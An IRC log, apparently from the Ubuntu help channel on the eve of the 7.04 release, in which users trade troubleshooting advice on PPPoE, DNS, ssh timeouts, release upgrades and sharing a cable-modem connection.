[10:37] <Cam> 6.10
[10:37] <Nubbie> mc44: i have this thing, it might be related.
[10:38] <Nubbie> mc44: ever since i upgraded to feisty, randomly a dialog will pop up as if i had just inserted a blank cd, which i hadn't.
[10:38] <Nubbie> mc44: and it acts like it's mounted all the time, but there's nothing in the mount point.
[10:38] <Cam> so nobody knows how to fix my panel?
[10:38] <Cam> :(
[10:38] <mc44> Nubbie: no idea, sorry :s
[10:38] <Nubbie> mc44: do you know what might be causing this?
[10:39] <Nubbie> mc44: ahh it's cool. i'll put up with it until i get my feisty cds
[10:39] <Paul_UK> hey is 7.04 out?
[10:39] <Nubbie> it's usable, does that count?
[10:41] <mc44> Paul_UK: no its not out
[10:41] <Paul_UK> mc44: is it soon?
[10:41] <mc44> Paul_UK: should be tomorrow
[10:42] <DragoraN> Hi! Please, Is there an extension for Firefox which can perform searching like this? "g <something>" searches on Google with keywords <something>?
[10:42] <pavs> whats the differance between the released version tomorrow and the version we installed through update?
[10:42] <Nubbie> dragoran: theres a google seach built into firefox....
[10:42] <gerry_> hello
[10:42] <DragoraN> Nubbie: yes, but i need to define own shortcuts
[10:43] <Nubbie> pavs: it will be the same system.
[10:43] <gerry_> ppp0 is up, but i can't connect to internet
[10:43] <Nubbie> dragoran: search? write a plugin?
[10:43] <gerry_> i don't know what's wrong
[10:43] <Nubbie> gerry_: dns settings right?
[10:43] <Madpilot> DragoraN, Opera does that style of searching - I think Epiphany might too. Either is easy to install in Ubuntu.
[10:43] <Paul_UK> mc44: which timezone tomorrow :P
[10:43] <gerry_> Nubbie:   yes
[10:43] <mc44> Paul_UK: UTC, probably
[10:43] <Sixer_> Hi.
[10:43] <Sixer_> Received disconnect from 82.94.255.139: 2: Timeout, your session not responding.
[10:44] <pavs> i am kinda confused because everyone is saying that they cant wait for fiesty but it is already available for the last 7-8 days through update....
[10:44] <Sixer_> How do I prevent this from happening?
[10:44] <florian_> Could I install a newer kernel for testing? In the actual kernel there is a bug related to acpi, preventing my notebook to boot.
[10:44] <florian_> So I would like to test a new kernel
[10:44] <Nubbie> sixer_: can you maybe elaborate?
[10:44] <Sixer_> Nubbie: My sshd appears to idle-disconnect me. Even in a tail -f
[10:44] <gerry_> Nubbie:   so i do :  sudo poff -a  and pon dsl-provider, then i can connect to inet
[10:45] <gerry_> weird
[10:45] <Sixer_> Nubbie: Keep-alive is already on in my sshd_config
[10:45] <Nubbie> sixer_: maybe you can use netcat to do a keepalive.
[10:45] <gerry_> why need i restart dsl-connect?
[10:45] <Sixer_> Nubbie: Hmm.
[10:45] <Nubbie> sixer_: try it, couldn't hurt.
[10:46] <gerry_> my dsl-connect is configured starup at boot time
[10:46] <gerry_> i can see it up by ifconfig
[10:46] <pavs> is there application that will let me do google/yahoo serach through terminal? :)
[10:46] <gerry_> but i can't connect to inet
[10:46] <Nubbie> pavs: links
[10:46] <gerry_> untill i restart dsl-connection
[10:47] <florian_> Sorry, lost connection ...
[10:47] <florian_> Any hints for a new kernel?
[10:47] <florian_> Or is it possible to downgrade kernel?
[10:48] <Sixer_> florian_: Uhm, ftp.kernel.org ?
[10:48] <gerry_> it's annoying
[10:48] <Sixer_> pavs: 'links'
[10:48] <florian_> Sixer_ OK, I know that ... but it may be a lot off work to get that working with feisty ...
[10:49] <Sixer_> gerry_: Is it properly configured in /etc/network/interfaces ?
[10:49] <pavs> wow just installed links awesome :)
[10:49] <florian_> Sixer_ I thought it may be there an ubuntu testing kernel.
[10:49] <Sixer_> pavs: Yeah Links is great
[10:49] <pavs> thanks for the info
[10:49] <florian_> prepered for ubuntu allready.
[10:49] <gerry_> auto dsl-provider
[10:49] <gerry_> iface dsl-provider inet ppp
[10:49] <gerry_> pre-up /sbin/ifconfig eth0 up # line maintained by pppoeconf
[10:49] <gerry_> provider dsl-provider
[10:49] <commonlyUNIQU3> hello
[10:50] <Sixer_> gerry_: ok, PPPoE ?
[10:50] <gerry_> Sixer:yeah
[10:50] <Sixer_> gerry_: Hm
[10:50] <commonlyUNIQU3> quick Q:  anybody here run an Asterisk server on their main desktop?
[10:50] <Sixer_> gerry_: You should let yer router do the PPPing imho
[10:51] <commonlyUNIQU3> or is it best left to a stand alone box...?
[10:51] <gerry_> Sixer: after restart ppp,   it worked well
[10:51] <gerry_> sudo poff ;  pon dsl-provider
[10:52] <Sixer_> gerry_: Then it's not really being started on startup in the first place I'd say
[10:52] <Sixer_> But I'm no pppd expert
[10:53] <gerry_> my eth0 connected to dsl-modem, and eth1 connected local network
[10:53] <gerry_> Sixer:   i can see ppp0 is up using ifconfig
[10:53] <Nubbie> sixer_: psycholicious?
[10:53] <Sixer_> Nubbie: Thats me
[10:53] <znejk> hello how do u remove schema or options in gconf?
[10:53] <commonlyUNIQU3> quit
[10:54] <Bhaskar1> i have LTSP package i want to integrate LTSP5 offline how??
[10:55] <Nubbie> bhaskar1: double click it?
[10:55] <gerry_> any ideas?
[10:56] <Bhaskar1> Nubbie, no such doble click package
[10:56] <gerry_> anyone use pppoe here?
[10:59] <andres_> #ubuntu-es
[11:00] <NixHost> is ubuntu.com down?
[11:00] <USMarine> i don't get why people do channel pub
[11:00] <USMarine> NixHost only for you
[11:00] <`davo> anyone have success installing the latest version of gTwitter?
[11:01] <gerry_> ppp0 is up, why i can't  connect inet?
[11:01] <znejk> how to remove keys in gconf?
[11:02] <Nubbie> znejk: gconf-editor
[11:02] <NixHost> just firefox that hanged .P
[11:02] <yong> hi eo
[11:03] <znejk> Nubbie: yes but i want to totally remove all compiz keys and that dosnt work
[11:03] <znejk> Nubbie: must i remove every single key then?
[11:04] <johnt> Hi Folks Can anyone tell me how to open a .wmf file in a text editor?? Gedit will not do it for me
[11:05] <Nubbie> johnt: right click, open with other application.
[11:05] <sciboy> I need some help, "agpgart: Aperture conflicts with PCI mapping." "agpgart: Arperture too small (0mb)"
[11:05] <USMarine> sciboy increaste that in the bios
 it says it is unable to read the encoding
[11:05] <USMarine> increase*
[11:06] <sciboy> USMarine: I don't know what to look for.
[11:06] <USMarine> agp aperture size
[11:06] <USMarine> the amount of ram agp can use
[11:06] <sciboy> So just reboot + del and go hunting?
[11:07] <USMarine> ye
[11:07] <USMarine> pretty much
[11:07] <sciboy> I'll check again, but last time i saw nothing.
[11:07] <Paul_UK> has anyone installed codeweavers crossover 6.0.1 pro?
[11:08] <corinth> Feisty comes out tomorrow?
[11:08] <commonlyUNIQU3> yay!  looking forward to giving Fiesty a go!
[11:08] <corinth> Yeah, me too
[11:08] <Paul_UK> yeah im waiting for fiesty as well
[11:09] <commonlyUNIQU3> has anyone tried the beta?  any impressions of wifi improvements?
[11:09] <mc44> it depends on your card
[11:09] <corinth> I've got a tower, I wouldn't know.
[11:09] <Paul_UK> has 3d been incorporated into the gui?
[11:09] <commonlyUNIQU3> corinth: me to
[11:09] <commonlyUNIQU3> *too
[11:10] <corinth> Anyone planning on checking out Ubuntu Studio?
[11:10] <mc44> Paul_UK: not by default but it is very easy to turn on, depending on your card
[11:10] <johnt> Hi Folks Can anyone tell me how to open a .wmf file in a text editor?? Gedit will not do it for me
[11:10] <Paul_UK> mc44: got a radeon mobility :(
[11:10] <johnt> Gedit says it is unable to read the encoding
[11:10] <commonlyUNIQU3> ATI = not fun
[11:10] <commonlyUNIQU3> :(
[11:11] <Paul_UK> yeah i know it sucks for linux, but thats what i got with my laptop
[11:11] <commonlyUNIQU3> same here - so I sold my laptop
[11:11] <commonlyUNIQU3> lol
[11:11] <USMarine> i bought an nvidia card with my laptop
[11:11] <Paul_UK> lol well mine is 5 years old now, works really well, so no need to get rid of it
[11:11] <USMarine> exclusively to not have trouble getting 3d to work
[11:12] <corinth> So, Ubuntu Studio anyone?
[11:12] <commonlyUNIQU3> Paul_UK: true dat
[11:12] <Paul_UK> anyone tried crossover?
[11:12] <commonlyUNIQU3> Ubuntu Studio?
[11:12] <devian__> hai is the Nvidia support Open Source now??
[11:12] <corinth> Haven't heard of it?
[11:12] <devian__> are they give their sources??
[11:12] <corinth> http://ubuntustudio.org/
[11:12] <commonlyUNIQU3> maybe I've seen it on Digg...
[11:12] <USMarine> devian__ i dont think so
[11:13] <corinth> It looks interesting.
[11:13] <zeb_se> noob question: how do i upgrade feisty later ?
[11:13] <corinth> It's supposed to launch alongside Feisty
[11:13] <USMarine> zeb_se replace edgy with festy in sources
[11:13] <Jordan_U> USMarine, NO
[11:13] <USMarine> and aptitude update
[11:13] <zeb_se> ok thx :)
[11:13] <Jordan_U> zeb_se, Don't do that
[11:13] <mc44> USMarine: no
[11:13] <johnt> Please people I am trying to edit a .wmf file can anyone help??
[11:13] <zeb_se> no ?
[11:14] <commonlyUNIQU3> USMarine: does that actually work?
[11:14] <mc44> USMarine: dont advise that
[11:14] <Jordan_U> zeb_se, That is not the correct way to upgrade
[11:14] <mc44> commonlyUNIQU3: it is not recommended
[11:14] <sciboy> Nope couldn't find anything relevant.
[11:14] <mc44> commonlyUNIQU3: and will probably break things
[11:14] <mc44> The correct way is to use update-manager
[11:14] <mc44> !upgrade
[11:14] <ubotu> For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes
[11:14] <USMarine> hmm, never heard of that
[11:14] <commonlyUNIQU3> mc44: thanks, that's what I've thought/experienced
[11:14] <sciboy> I went through all the menus and couldn't find anything.
[11:14] <corinth> I've never upgraded from within ubuntu to the next release, is it buggy?
[11:14] <devian__> So still the revere Engg is thr only way for gettinng support the HWs??
[11:15] <mc44> USMarine: it uses magic to prevent apt problems and so on
[11:15] <zeb_se> ok that sounds more like it
[11:15] <sciboy> USMarine: Any other ideas?
[11:15] <mc44> corinth: it shouldnt be
[11:15] <corinth> Nice.
[11:15] <Sacrament>  
[11:16] <Jordan_U> devian__, I think this will answer your question rather comprehensively: http://www.openbsd.org/papers/brhard2007/mgp00001.html
[11:16] <Sacrament> Do you speak RUSSIA?
[11:16] <commonlyUNIQU3> how about an Edgy-to-Fiesty upgrade via CD?
[11:16] <Jordan_U> commonlyUNIQU3, Yes, you can use the alternate install CD for offline upgrades
[11:16] <USMarine> Sacrament no, only russian
[11:16] <Sacrament>  
[11:17] <zeb_se> my installation is brand new so if i have to redo it from start it would be no cathastopy
[11:17] <commonlyUNIQU3> Jordan_U, is it reliable?
[11:17] <corinth> Is an online upgrade the way to go with a fast connection?
[11:17] <Sacrament> USMarine ~  ?
[11:17] <Jordan_U> commonlyUNIQU3, Yes
[11:17] <commonlyUNIQU3> hmmm
[11:18] <Jordan_U> corinth, I would say so
[11:18] <commonlyUNIQU3> I'm trying to decide if I should just make a list of all the apps I have, and start over (my /home is on a seperate hdd)...
[11:18] <corinth> Alright, thanks.
[11:18] <Sacrament> corinth ~ 
[11:18] <corinth> What was that?
[11:18] <commonlyUNIQU3> sounds like I should at least try the cd upgrade first...
[11:18] <Sacrament> corinth ~  
[11:18] <Jordan_U> commonlyUNIQU3, The online upgrade is just as reliable
[11:19] <mc44> Sacrament: english only in here please
[11:19] <mc44> !ru | Sacrament
[11:19] <ubotu> Sacrament:    #ubuntu-ru       /  Pozhalujsta vojdite v #ubuntu-ru dlq pomoshchi na russkom qzyke
[11:19] <commonlyUNIQU3> ??
[11:19] <commonlyUNIQU3> ok ubuntu friends, thanks for the chat - I'm off to bed...
[11:20] <Sacrament> mc44 ~You who?
[11:20] <corinth> Night
[11:20] <corinth> I think I might try Ubuntu Studio before I install the regular feisty release.
[11:20] <corinth> I'm intrigued by what I've read, and the few screenshots.
[11:21] <Sacrament> corinth ~
[11:21] <zcat[1] > sigh.. I want my feisty!
[11:21] <Sacrament> hi
[11:21] <Sacrament> hi friki
[11:21] <Sacrament> )))
[11:21] <corinth> Anyone else planning on checking it out?
[11:21] <mc44> Sacrament: /join #ubuntu-ru
[11:22] <tyler> who is still running 6.06?
[11:22] <Sacrament> mc44 ~   
[11:23] <Sacrament> b rfr dfv nen&
[11:23] <Sacrament> 
[11:23] <Sacrament> 
[11:23] <Sacrament> 
[11:23] <Sacrament> 
[11:23] <zcat[1] > Sacrament: ?
[11:23] <mc44> !ops
[11:23] <ubotu> Help! Mez, LjL, elkbuntu, imbrandon, DBO, gnomefreak, Hobbsee, rob, ompaul, Madpilot, Burgundavia, Seveas, CarlK, crimsun, ajmitch, tritium, Nalioth, thoreauputic, apokryphos, tonyyarusso, PriceChild, Amaranth, jrib, jenda or mneptok
[11:23] <gnomefreak> Sacrament: english only please
[11:24] <gnomefreak> mc44: im here
[11:24] <mc44> gnomefreak: sorry :s
[11:24] <zcat[1] > mc44, He's gone already
[11:24] <Paul_UK> hey, how do i disable Cups?
[11:24] <tyler> 6.06?  anyone?
[11:24] <zcat[1] > tyler, on the server, yeah
[11:24] <mc44> zcat[1] : heh I cant cope with join/parts turned on in here
[11:25] <tyler> or as there desktop os?
[11:25] <zcat[1] > verne's still got 606 on the desktop.. why?
[11:25] <gnomefreak> tyler: what is your question
[11:25] <zcat[1] > just curious or did you have a question?
[11:26] <JohnRobert> how can I send a message to all ssh'ed in users?
[11:26] <JohnRobert> (system message or something)
[11:26] <zcat[1] > JohnRobert, wall
[11:26] <JohnRobert> ta
[11:27] <JohnRobert> wall "anyone fancy making the coffee today? :)"
[11:27] <JohnRobert> :D
[11:27] <tyler> I know there why there is a big buzz about the new version, but I have found 6.06 ridiculously stable.
[11:27] <zcat[1] > JohnRobert, echo "anyone fancy making the coffee today?" | wall
[11:27] <JohnRobert> the way I did it seemed to work
[11:27] <corinth> 22 hours left, eek!
[11:27] <corinth> Lol.
[11:27] <corinth> Night, everyone.
[11:28] <zcat[1] > oh.... it didn't used to work that way iirc..
[11:28] <JohnRobert>        wall [-n]  [ message ] 
[11:28] <zcat[1] > zcat@aragog:~$ wall "test"
[11:28] <zcat[1] > wall: will not read test - use stdin.
[11:28] <JohnRobert> heh
[11:29] <lizardmenke> which .iso do I need for a "oem" install?
[11:29] <zcat[1] > lizardmenke, alternative
[11:30] <StOORm> whats oem install ?
[11:30] <lizardmenke> zcat[1] , thanks
[11:30] <zcat[1] > stoorm: basic install with a generic machine and username, nothing preconfiguered. Kinda like oem windows
[11:31] <zcat[1] > stoorm: useful if you want to flog a machine off on ebay and don't want it to have no OS.
[11:32] <StOORm> ah ok
[11:32] <StOORm> thanks
[11:33] <zcat[1] > how do I set up software raid btw; can I do that with the regular desktop disk?
[11:33] <HObbES1> anyone wanna help a noob setup ubuntu server? i'm totally stuck, even after reading the faqs =/
[11:34] <zcat[1] > HObbES1, set up a desktop then add ubuntu-lamp (or whatever server stuff you want) off the repos. It's easier...
[11:34] <ajehuk> HObbES1 - give me a little minute and I'll run thru it with you
[11:36] <jhaig> HObbES1: Ask your questions and someone may be able to help.
[11:36] <HObbES1> allrite well ive finished installing ubuntu server
[11:36] <HObbES1> im at the prompt
[11:36] <HObbES1> im trying to get the gui
[11:36] <USMarine> starx?
[11:36] <USMarine> startx*
[11:36] <HObbES1> i typed- sudo apt-get install ubuntu-desktop
[11:36] <zcat[1] > HObbES1, there is no gui on a a server install :)
[11:36] <HObbES1> which i read on a guide
[11:37] <Ollie|> if you are using it as the server you don't really need the gui
[11:37] <USMarine> servers dont need X ye
[11:37] <HObbES1> well i'd like to set it up so i can remote into it from my windows pc
[11:37] <ajehuk> HObbES1 - I asumed that the sever by default was gui-less, and missing X - why would you need a GUI on a server?
[11:37] <Ollie|> http://ubuntuforums.org/showthread.php?s=74c7f5d9548a387bd3322723c8de80fc&t=186298
[11:37] <HObbES1> well its my first linux install, i figured having a gui would help things speed along
[11:37] <jhaig> HObbES1: You will need the ssh server for that.
[11:37] <VSpike> might be an application server
[11:38] <zcat[1] > HObbES1, You need to install 'putty' on your windows machine then
[11:38] <ajehuk> VSpike - since when did an application server require a local GUI?
[11:38] <Ollie|> HObbES1 it might seem strange at first but having no gui ends up being a lot quicker and easier
[11:38] <HObbES1> allrite i'll give that a shot Ollie
[11:38] <ajehuk> HObbES1 - first things first, what did you want to use the server for?
[11:38] <VSpike> ajehuk: not a local one, but you'd still need to install the same stuff, surely?
[11:39] <Ollie|> I personally would install webmin, not a gui but makes administrating servers a lot easier
[11:39] <VSpike> ajehuk: apart from arguably the x server I s'pose
[11:39] <Ollie|> I found this quite helpful http://www.howtoforge.com/lamp_installation_ubuntu6.06?from=10&comments_per_page=10
[11:39] <ajehuk> VSpike - depends on the application server...
[11:39] <HObbES1> well ajehuk id like it to connect to the internet using my motorola cable modem, and have ubuntu share the connection to my home network
[11:39] <zcat[1] > HObbES1, If you're accessing it remotely from a windows box, it's rather hard to do any gui stuff anyhow.. if you're ssh'd from a linux desktop you can run GUI commands and tunnel the display back to your local machine.
[11:40] <coz_> I have a package in auto update that insists on being installed, I don't need this installed, is there a way to prevnt it from being installed?
[11:40] <ajehuk> HObbES1 so we are taling a gateway, - anything else required on the box? firewall / IDS etc..?
[11:40] <ajehuk> *talking
[11:40] <VSpike> ajehuk: yeah.  I was just thinking of the unix equiv of an MS terminal server.  I'm sure you could be more selective in linux as to what you installed, just to get the bits you need
[11:40] <zcat[1] > HObbES1, but if as you say it's your first time with Linux, I stick by my original suggestion; do a desktop install and then add the server stuff you need.. it's easier to admin that way imho..
[11:40] <topato> on jeans, you have these small straps that you fit your belt in .. what are those called in english? :)
[11:41] <ajehuk> VSpike - Yeah, but I still dont see why anyone would waste server resources on running local X sessions when they are not being used...
[11:41] <coz_> topato, loops
[11:41] <kalin> i'm in gnome-terminal, is there some way to make it non-wrapping?
[11:41] <zcat[1] > ajehuk; it's easy enough to turn off gdm when you're not using it..
[11:41] <VSpike> ajehuk: I think we're violently agreeing :)
[11:41] <b33r> Hello, I installed Celestia it worked fine for a few days, but now when I open it, it shows the NVIDIA logo then crashes and send me back to the user login screen, does anyone know why? :/
[11:41] <ajehuk> VSpike - I resent that remark :)
[11:42] <VSpike> lol
[11:42] <Ollie|> ubuntu server + webmin + openssh + phpmyadmin + proftp + phpsysinfo and putty ssh client for windows = perfect install for a newbie
[11:42] <zcat[1] > and even if you leave it running, the overhead of a swapped-out GDM login is what, exactly?
[11:42] <HObbES1> no ajehuk, just gateway
[11:42] <HObbES1> i want it to just run, taking off the monitor
[11:42] <HObbES1> and a fileserver
[11:43] <HObbES1> adding stuff as i go along
[11:43] <HObbES1> mainly, i want it to share the connection to the internet, and handle some simple portforwarding for torrents etc
[11:43] <HObbES1> and allow people on my network to upload files to it
[11:43] <ajehuk> zcat[1]  - But why install it? the mre you install the more complexity you introduce anf the more issues you have with vulnerabilities etc.. I agree that for a first time linux user a gui makes more sense, however I wouldnt put a desktop or desktop alls for local use on a server, as for resources - if its a gateway you need what- a P2 with 64 Mb Ram? GDM and an X server would use quite a bit of that.
[11:44] <tuxcrafter> how do i create a directory specific umask?
[11:44] <ajehuk> HObbES1 - are the other machines on your nework windows or linux (for the purposes of file sharing)
[11:44] <VSpike> coz_: I know you can do that in aptitude
[11:44] <coz_> VSpike, tried there or I am just not seeing the option
[11:44] <nazgjunk> hey, where to does apt-get/synaptic download package files?
[11:44] <fiery_cleric> tuxcrafter:  mkdir -m ... look at the man page
[11:44] <nazgjunk> I'm afraid i won't be able to do a system update
[11:45] <fiery_cleric> tuxcrafter: assuming terminal
[11:45] <Sacrament>  ?
[11:45] <HObbES1> ajehuk. all windows pcs
[11:45] <VSpike> coz_: it's either keep or hold, and i can never remember the difference
[11:45] <nazgjunk> 971MB download, and 300MB required in the end  -  while i've only got 700MB free on /usr
[11:45] <tuxcrafter> fiery_cleric: i want it to be the default behave a user should not manually specify it
[11:45] <coz_> VSpike, no there is a freeze version option but that doesn't do it
[11:45] <Sacrament> 
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[11:45] <Sacrament> 
[11:46] <Sacrament> 
[11:46] <Sacrament> 
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[11:46] <fiery_cleric> tuxcrafter: umask
[11:46] <ajehuk> HObbES1 - OK so thats Iptables for your port management, samba for file sharing, maybe webmin for management... - what is the spec of the PC? and what kind of cable modem is it? (and how do you intend to connect the cable modem to the PC?)
[11:46] <HObbES1> ajehuk- its a p3 900, 1g ram
[11:47] <nazgjunk> hm, apt-get clean freed up some space on /etc, so i'll asume that the package files go to /etc/somewhere
[11:47] <HObbES1> and heres the hard part... its a cable modem
[11:47] <nazgjunk> good
[11:47] <fiery_cleric> tuxcrafter: that will effect all created files
[11:47] <ajehuk> HObbES1 - PC spec is good then , overkill dor wat you want to use it for.... cable modem?
[11:47] <yellow_chicken> hi
[11:47] <HObbES1> yeah its got usb and ethernet
[11:47] <HObbES1> at the moments its connected to a windows pc
[11:47] <HObbES1> using microsoft ics
[11:47] <HObbES1> its connected using usb
[11:47] <HObbES1> so that the server pc can connect to my hub via ethernet
[11:48] <ajehuk> HObbES1 - how many ethernet ports do you have on that PC?
[11:48] <gordonjcp> HObbES1: does the cable modem have an ethernet card?
[11:48] <HObbES1> just 1
[11:48] <tuxcrafter> fiery_cleric: if a user creates a file in /home/$user/ it should have a mask of 600 if a user creates a file in /home/$user/share/ it should have a mask of 660 and this must go automatically so no manual chmods.
[11:48] <HObbES1> nah its an older cable modem, only the ethernet or usb can used
[11:48] <mc44> mneptok: gracias
[11:48] <jrib> tuxcrafter: research ACL's
[11:48] <mneptok> mc44: de nada
[11:48] <ajehuk> HObbES1 - so I asume you also have a seperate hub?
[11:49] <HObbES1> yeah
[11:49] <gordonjcp> HObbES1: use ethernet, USB sucks
[11:49] <mtholdenss> hey
[11:49] <mtholdenss> what time zone is fiesty being released?
[11:49] <mneptok> mtholdenss: all of them
[11:49] <Andiez> Hello
[11:49] <HObbES1> does that mean i need to get another ethernet card?
[11:49] <ajehuk> HObbES1 - I would concur with gordonjcp - to avoid a huge number of issues I would get a second ethernet card for the PC you want to use as the gateway - one out to the modem one in to the hub
[11:49] <mtholdenss> mneptok so australia and new zealand will get it at the same time then?
[11:49] <Zoiks> hey, im trying to install ubuntu 7.04 on a friends laptop however under the partion section of the install, when I click manual partition I cannot make a boot or / partition type
[11:49] <gordonjcp> mneptok: when feisty is officially released, does that mean we can start asking feisty questions in here?
[11:49] <zcat[1] > most modems (even if they only have one port) can act as a gateway for more than one machine.. you just plug the modem directly into your hub and tell all the machines to use the modem IP as a gateway..
[11:49] <Zoiks> any ideas?
[11:50] <gordonjcp> HObbES1: yeah, definitely
[11:50] <HObbES1> allrite i'll get an ethernet card tomorrow
[11:50] <HObbES1> okay another question
[11:50] <mneptok> mtholdenss: yes
[11:50] <mneptok> gordonjcp: yes
[11:50] <gordonjcp> HObbES1: I missed the first part of this - are you trying to share your cable modem between a couple of PCs?
[11:50] <HObbES1> at the moment the ubuntu machine is on the network, i can ping internal and external ip, but dns is busted
[11:50] <VSpike> coz_: I think "sudo aptitude hold <packagename>" will do it
[11:50] <HObbES1> how do i manually assign dns
[11:50] <mtholdenss> mneptok, i mean australia and new zealand get it first i mean, sorry
[11:50] <mneptok> mtholdenss: it is released worldwide at the same instant
[11:50] <tuxcrafter> jrib: cant it be done with traditional unix file premisions
[11:50] <gordonjcp> HObbES1: there's probably a proper "Ubuntu Way" but I just manually edit /etc/resolv.conf
[11:50] <ajehuk> HObbES1 - can the modem not be used to share web access direclty via the hub?
[11:51] <HObbES1> nah it cant ajehuk
[11:51] <fiery_cleric> tuxcrafter: look at the sticky bit on directories
[11:51] <HObbES1> unfortunately
[11:51] <coz_> VSpike, let me try it
[11:51] <mtholdenss> mneptok and do we have any idea when that is? cause its like 4-5 hrs till its the 19th here
[11:51] <jrib> tuxcrafter: not that I know of
[11:51] <ajehuk> HObbES1 - just checking...
[11:51] <HObbES1> gordonjcp stupid question but how do i edit /etc/resolv.conf?
[11:51] <VSpike> HObbES1: it's a USB modem for ADSL?
[11:51] <HObbES1> yeah
[11:52] <zcat[1] > mtholdenss, last time is was about 10pm on 'release day' - almost the next day in NZ before it was released
[11:52] <andres_> buenas
[11:52] <HObbES1> motorola sb5100
[11:52] <HObbES1> cable modem
[11:52] <andres_> #ubuntu-es
[11:52] <coz_> VSpike, nope that doesn't work
[11:52] <contents> Hi all, I've got a potential partitioning problem here...
[11:52] <ajehuk> gordonjcp - HObbES1 - before you start editing the resolv.conf - I would check if dhcp is being used to configure the connection and/or if the cable modem can issue dns servers via dhcp - saves hassle in the long run..
[11:52] <contents> I'm trying to shrink a partition on an external drive, and gparted is hanging. It's been hanging for hours. When I try to cancel, it warns me that it might cause severe filesystem damage.
[11:53] <gordonjcp> ajehuk: ye
[11:53] <mneptok> mtholdenss: 19th UTC
[11:53] <HObbES1> guys at the moment the ubuntu pc isnt the server, its just on the network
[11:53] <VSpike> coz_: Can you be more specific?
[11:53] <HObbES1> i was just trying to get it to connect so i can get updates
[11:53] <mneptok> HObbES1: nslookup cnn.cm
[11:53] <gordonjcp> ajehuk: actually I use DHCP on my PC at work, with /etc/resolv.conf manually tweaked to avoid the broken horrible dns forwarder our office has
[11:53] <mneptok> errr
[11:53] <mneptok> HObbES1: nslookup cnn.com
[11:54] <mtholdenss> oh darn, so i may have to wait till friday arvo for it to be available.. for australia is a day ahead
[11:54] <coz_> VSpike, well that particular command in terminal gives a read out that it cannot find that packge then it reads that package is on hold then doing update show that that package is ready to install
[11:54] <ajehuk> gordonjcp - same here but most people dont need to (or dont know they need to, ISP's are so 'good' when it comes to dns...)
[11:54] <mneptok> mtholdenss: you could move to Perth. that's dang near UTC ;)
[11:54] <VSpike> can you pastebin the output?
[11:54] <HObbES1> nslookup gave me nothing =/
[11:54] <coz_> VSpike, sure hold on
[11:54] <mneptok> HObbES1: nslookup cnn.com 204.60.0.3
[11:54] <gordonjcp> HObbES1: if you're trying to share your cable modem, you might be better to get some old Pentium and stick two network cards in, and install one of the many many firewall distros
[11:54] <mtholdenss> mneptok, oh well its only a extra day, no big fuss, just another school day to pass by then have the weekend to play with it...
[11:55] <gordonjcp> HObbES1: I recommend m0n0wall as a nice easy-to-use firewall
[11:55] <ajehuk> HObbES1 - could you tell me how your network connection on this box is currently set up? did you configure manually or via dhcp?
[11:55] <HObbES1> on this windows pc im on?
[11:55] <zcat[1] > HObbES1, on windows, in a cmd shell, what does ipconfig say?
[11:55] <ajehuk> HObbES1 - I meant on the ubuntu bo but either will do..
[11:56] <HObbES1> well on this windows pc- manually configured ip, manually configured gateway (which is another windows pc)
[11:56] <HObbES1> the gateway windows pc is connected to the cable modem via usb
[11:56] <HObbES1> and the connection to the net is shared via ics
[11:56] <zcat[1] > HObbES1: the one connected to the modem, what's the IP and netmask and gateway of whatever interface is physically connected to the cable modem?
[11:56] <mneptok> HObbES1: nslookup cnn.com 204.60.0.3
[11:57] <coz_> VSpike, http://pastebin.ca/446152
[11:57] <HObbES1> mneptok- timed out, no servers could be rreached
[11:58] <mneptok> HObbES1: then you do not have an actual Internet connection
[11:58] <HObbES1> oh right
[11:58] <mneptok> HObbES1: 2 machines go through a hub to a cable modem?
[11:58] <mneptok> HObbES1: no router?
[11:58] <HObbES1> the ubuntu machine is connected to the router
[11:59] <HObbES1> cant i get it to connect ot the net through the gateway pc like my current pc?
[11:59] <mneptok> HObbES1: why not use the router?
[11:59] <HObbES1> i dont think i can bridge the cable modem with the router
[11:59] <mneptok> HObbES1: of course you can.
[12:00] <HObbES1> how?
[12:00] <mneptok> HObbES1: cable modem -> router
[12:00] <HObbES1> with crossover?
[12:00] <zcat[1] > HObbES1, bet you a dollar that if you turn off ICS, plug the cable modems RJ45 into the hub, and reboot both machines (windows and linux)  they'll  both dhcp themselves a working connection.
[12:00] <mneptok> HObbES1: this is what a router is for. to route traffic between logically isolated networks.
[12:00] <mneptok> zcat[1] : bet you $50 you're wrong
[12:01] <mneptok> 99% of US cable ISP filter by MAC address
[12:01] <zcat[1] > mneptok, you think so?
[12:01] <HObbES1> zcat[1]  i think the cable modem is configured (among other things) to work through usb, and only communicate with the gateway pc
[12:01] <HObbES1> i could easily be mistaken
[12:01] <mneptok> HObbES1: you have network configuration problems. not Ubuntu problems.
[12:02] <HObbES1> haha thats also true
[12:02] <mneptok> HObbES1: you want to be talking to your ISP
[12:02] <HObbES1> yeeah perhaps i might be able to bridge the cable modem with the router
[12:02] <zcat[1] > HObbES1, he already said it had usb and rj45... I'd not be at all surprised if it was doing nat and dhcp, and passing out 10.0.0.* addresses
[12:02] <mneptok> HObbES1: don't use the term "bridge" with them. it'll confuse things.
[12:03] <mneptok> you aren't doing any bridging
[12:03] <HObbES1> oh right sorry
[12:03] <zcat[1] > although my experience is mostly with adsl, not cable modems..
[12:03] <HObbES1> my router is an adsl modem/router
[12:04] <HObbES1> i could probably use it as just a router
[12:04] <HObbES1> at the moment everything is going through an 8 port hub
[12:04] <HObbES1> which complicates things
[12:04] <HObbES1> id like to remove all the unnecessary crap from my setup =)
[12:04] <ajehuk> HObbES1 - if the modem is a router - you shouldnt need to do any other sharing...
[12:05] <HObbES1> ajehuk could i connect the cable modem to the hub?
[12:05] <ajehuk> HObbES1 - and the hub shouldnt complicate anything... - ever box on the lan should be able to get out to the net (if as you say the router is a nat router with dhcp)
[12:05] <ajehuk> HObbES1 - yep thats what I am saying
[12:05] <zcat[1] > HObbES1, the best way to find out is just do it...
[12:05] <fiery_cleric> the cable modem is a bridge between the coaxial network and its ethernet port .... at least mine is... it does no ip routing
[12:05] <zcat[1] > HObbES1, but remember what you change, in case it diesn't work and you have to change it back.
[12:05] <HObbES1> yeah
[12:06] <HObbES1> so do i even need the router?
[12:06] <HObbES1> can i just use the ethernet hub and modem?
[12:07] <mneptok> HObbES1: you NEED a router
[12:07] <HObbES1> right
[12:07] <fiery_cleric> HObbES1: no ... u need to have a box that is the endpoint ... either a router or a pc
[12:07] <ajehuk> ml360's and try doing multipurpose stuff, for simple POE (on a larger scale) sun boxes and debian rock, - for home I use linksys kit (its cisco right(?)) but everything with open software - no fun otherwise.. hell even my ipaq runs familiar linux...
[12:07] <thio> hello how can i use this chat?
[12:07] <mneptok> whether it is inside the cable modem or not is up to you
